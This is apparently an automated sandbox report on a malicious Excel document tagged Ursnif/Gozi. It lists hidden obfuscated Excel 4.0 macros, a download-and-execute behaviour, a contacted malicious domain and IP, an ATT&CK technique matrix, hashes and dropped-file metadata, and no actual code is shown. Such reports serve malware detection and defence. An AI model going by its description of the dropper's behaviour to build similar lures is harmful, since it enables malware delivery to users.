Play interactive tour
Edit tourAnalysis Report document-1333887362.xls
Overview
General Information
| Sample Name: | document-1333887362.xls |
| Analysis ID: | 324313 |
| MD5: | d73c6ac8fe30f97b9751740e5990cf40 |
| SHA1: | 66f33cf632df26d83ef1ecac6df9a0dd7471adda |
| SHA256: | 943972111562181bc947f598310ba1868a32a18ad8344419af1e4654e472c49a |
| Tags: | goziSilentBuilderursnifxls |
Most interesting Screenshot:  | |
Detection
Hidden Macro 4.0
| Score: | 80 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found obfuscated Excel 4.0 Macro
Sigma detected: Microsoft Office Product Spawning Windows Shell
Yara detected hidden Macro 4.0 in Excel
Allocates a big amount of memory (probably used for heap spraying)
Document contains embedded VBA macros
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara signature match
Classification
Startup |
|---|
|
Malware Configuration |
|---|
| No configs have been found |
|---|
Yara Overview |
|---|
Initial Sample |
|---|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| SUSP_Excel4Macro_AutoOpen | Detects Excel4 macro use with auto open / close | John Lambert @JohnLaTwC |
| |
| JoeSecurity_HiddenMacro | Yara detected hidden Macro 4.0 in Excel | Joe Security |
Sigma Overview |
|---|
System Summary: |   |
|---|
| Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources | ||
| Source: | Author: Michael Haag, Florian Roth, Markus Neis: | ||
Signature Overview |
|---|
Click to jump to signature section
Show All Signature Results
AV Detection: | |
|---|
| Multi AV Scanner detection for submitted file | Show sources | ||
| Source: | Virustotal: | Perma Link | ||
| Source: | ReversingLabs: | |||
Software Vulnerabilities: | |
|---|
| Document exploit detected (UrlDownloadToFile) | Show sources | ||
| Source: | Section loaded: | ||
| Document exploit detected (process start blacklist hit) | Show sources | ||
| Source: | Process created: | ||
| Source: | Memory has grown: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | IP Address: | ||
| Source: | JA3 fingerprint: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
System Summary: | |
|---|
| Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Found Excel 4.0 Macro with suspicious formulas | Show sources | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Found obfuscated Excel 4.0 Macro | Show sources | ||
| Source: | Initial sample: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | Section loaded: | ||
| Source: | Matched rule: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | OLE indicator, Workbook stream: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | ||
| Source: | Virustotal: | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Window detected: | ||
| Source: | Key opened: | ||
| Source: | File opened: | ||
| Source: | Process created: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
HIPS / PFW / Operating System Protection Evasion: | |
|---|
| Yara detected hidden Macro 4.0 in Excel | Show sources | ||
| Source: | File source: | ||
Mitre Att&ck Matrix |
|---|
| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Valid Accounts | Scripting21 | DLL Side-Loading1 | Process Injection1 | Masquerading1 | OS Credential Dumping | Security Software Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Encrypted Channel2 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
| Default Accounts | Exploitation for Client Execution23 | Boot or Logon Initialization Scripts | DLL Side-Loading1 | Disable or Modify Tools1 | LSASS Memory | File and Directory Discovery1 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Non-Application Layer Protocol1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Extra Window Memory Injection1 | Process Injection1 | Security Account Manager | System Information Discovery2 | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Application Layer Protocol2 | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Scripting21 | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
| Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Regsvr321 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings | |
| Replication Through Removable Media | Launchd | Rc.common | Rc.common | DLL Side-Loading1 | Cached Domain Credentials | System Owner/User Discovery | VNC | GUI Input Capture | Exfiltration Over C2 Channel | Multiband Communication | Jamming or Denial of Service | Abuse Accessibility Features | |
| External Remote Services | Scheduled Task | Startup Items | Startup Items | Extra Window Memory Injection1 | DCSync | Network Sniffing | Windows Remote Management | Web Portal Capture | Exfiltration Over Alternative Protocol | Commonly Used Port | Rogue Wi-Fi Access Points | Data Encrypted for Impact |
Behavior Graph |
|---|
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetScreenshots |
|---|
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
|---|
Initial Sample |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 35% | Virustotal | Browse | ||
| 14% | Metadefender | Browse | ||
| 45% | ReversingLabs | Document-Word.Backdoor.Quakbot |
Dropped Files |
|---|
| No Antivirus matches |
|---|
Unpacked PE Files |
|---|
| No Antivirus matches |
|---|
Domains |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 1% | Virustotal | Browse |
URLs |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Virustotal | Browse | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe |
Domains and IPs |
|---|
Contacted Domains |
|---|
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| fu5on.com | 67.212.179.162 | true | false |
| unknown |
URLs from Memory and Binaries |
|---|
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high |
Contacted IPs |
|---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
|---|
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 67.212.179.162 | unknown | United States | 32475 | SINGLEHOP-LLCUS | false |
General Information |
|---|
| Joe Sandbox Version: | 31.0.0 Red Diamond |
| Analysis ID: | 324313 |
| Start date: | 29.11.2020 |
| Start time: | 05:57:46 |
| Joe Sandbox Product: | CloudBasic |
| Overall analysis duration: | 0h 4m 25s |
| Hypervisor based Inspection enabled: | false |
| Report type: | light |
| Sample file name: | document-1333887362.xls |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
| Run name: | Potential for more IOCs and behavior |
| Number of analysed new started processes analysed: | 25 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal80.expl.evad.winXLS@3/6@1/1 |
| EGA Information: | Failed |
| HDC Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
| Warnings: | Show All
|
Simulations |
|---|
Behavior and APIs |
|---|
| No simulations |
|---|
Joe Sandbox View / Context |
|---|
IPs |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 67.212.179.162 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse |
Domains |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| fu5on.com | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
ASN |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| SINGLEHOP-LLCUS | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
JA3 Fingerprints |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
Dropped Files |
|---|
| No context |
|---|
Created / dropped Files |
|---|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 129952 |
| Entropy (8bit): | 5.3783454897682255 |
| Encrypted: | false |
| SSDEEP: | 1536:dcQceNWiA3gZwLpQ9DQW+zAUH34ZldpKWXboOilXPErLL8TT:fmQ9DQW+zBX8u |
| MD5: | B90950D0C8944A02003E758EEC86DE56 |
| SHA1: | 41E469A1A2B071BAC5304E9ECB8A3D380BAB0568 |
| SHA-256: | 446EBB34724BD7AB760F809E1FC681CDC7E8D4B591A71D45203713B64247F9D4 |
| SHA-512: | A3B8331DECA8179E463BE9A8A53841E1F7812654C215AB25629F3F957A5D1BD72B42C81ABCF227D5E4961CCDABD280528AF0B25699C6236EF4697137DA4AE283 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 314689 |
| Entropy (8bit): | 7.985650422143885 |
| Encrypted: | false |
| SSDEEP: | 6144:mBXrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+Mj:GFPM8R3AsB+bjej/9cq |
| MD5: | 7ABC3884BE5D5D7BBE4E971D96DE9ADB |
| SHA1: | 0917C8384922BF258D9F252B15D7E30548BF8E63 |
| SHA-256: | 1BB0F3560C2B6AE5552304C682FBE3F32C47E580F85A8E30A3C096E57921EBBE |
| SHA-512: | EFCAD5612A847A5C944AAB6637AE5CF196A02FB00D7070905B5F8389B08A573C1677897C3A2A06AD2D90EE5CF1DED600EB27CE6A6E243C6A62D742C1C1ED5E1E |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 904 |
| Entropy (8bit): | 4.642397943397866 |
| Encrypted: | false |
| SSDEEP: | 12:8R0XUlNNuElPCH2AYNjXtZL2+WX+WrjAZ/2bDAWMpLC5Lu4t2Y+xIBjKZm:8XwAdF4AZiDzMA87aB6m |
| MD5: | 1035CC07F5000AD6ACBB4AD5906797EE |
| SHA1: | 0706C6DC9C7FBA291FB0205772FDC76E33D470B1 |
| SHA-256: | 68E85588D7D35D9483354F61FDA3C637940E1FC83316C8A17EC191BF1BFAFB22 |
| SHA-512: | 8E0A7EEF75AA29835BE4A0C29DE56BAD350E3DE0C5CB93183FF584F6539A0EFF53E3EC0AED2A7C7137491E5F537596CB2B328DA6E8144E367A8332EB23C0CE11 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4400 |
| Entropy (8bit): | 4.6797816853817205 |
| Encrypted: | false |
| SSDEEP: | 48:8GIa/jRwUEB6pGIa/jRwUEB6pIAIa/jRwUEB6pIAIa/jRwUEB6:8GDVEKGDVEKIADVEKIADVE |
| MD5: | EB4E07C542E210F4439587C54DCEAC66 |
| SHA1: | B86D92E1C40D595E4F4268779B71E1A265CB2DA4 |
| SHA-256: | E60C0E0D187B875CA4C5FAB33FA1AFD7AC7D3E3466B67254835BFBB87572E9AC |
| SHA-512: | 23ADD40E4884542A4C596B4774FFA9EF0BFE96F923866ECCFA08A7E2796F00CB8BFD8BE461960EA6732624B36709FA752EBD3161217EFD75421813FDB255EDBE |
| Malicious: | true |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | modified |
| Size (bytes): | 260 |
| Entropy (8bit): | 4.729316829026294 |
| Encrypted: | false |
| SSDEEP: | 6:dj6Y9L8QWEL8Q2Y9L8QWEL8Q2Y9L8QWEL8Q2Y9L8QG:dmzzz9 |
| MD5: | 2488FBEAD68B26A8474021B9904E0933 |
| SHA1: | 09DC6CAF4DF05FC1D2952D45C8BAE2A2A8294220 |
| SHA-256: | 3EA12ABF64E3A0DE5B83F696F45D3569CE07A0D6FAD6AE9CFD74AB2FFE1C62A1 |
| SHA-512: | DA91A613C46F95FB3F0E758E83C98A4024CEDC991949ADB4771CDC46506F07C23F049FF6B9639AAD93944268EC4E28D786193A4F539A37CFFF000C80241DA0F2 |
| Malicious: | false |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 398835 |
| Entropy (8bit): | 7.192296037361544 |
| Encrypted: | false |
| SSDEEP: | 6144:ycKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdh:5izo8RnsIROnr6n75YrxCZ |
| MD5: | 36845EDB75B39CA72F2665F77F4FDC7C |
| SHA1: | DEE0CF27B5911AB0538DC90D5EF14FB183D0589B |
| SHA-256: | 7F3E1CD356DAF487BF3D971F27D6514ADBA3DA1C2025D6F6FEA06E11FD4E7B48 |
| SHA-512: | 5883B5DE9A368C0BA82CE5812E1EC1739E3BEA8280C740C7A67702A8B7C38F27E01756DE77785BEB592E984A38B81E544AE9177C721830C4CDF6866EEDDE4E00 |
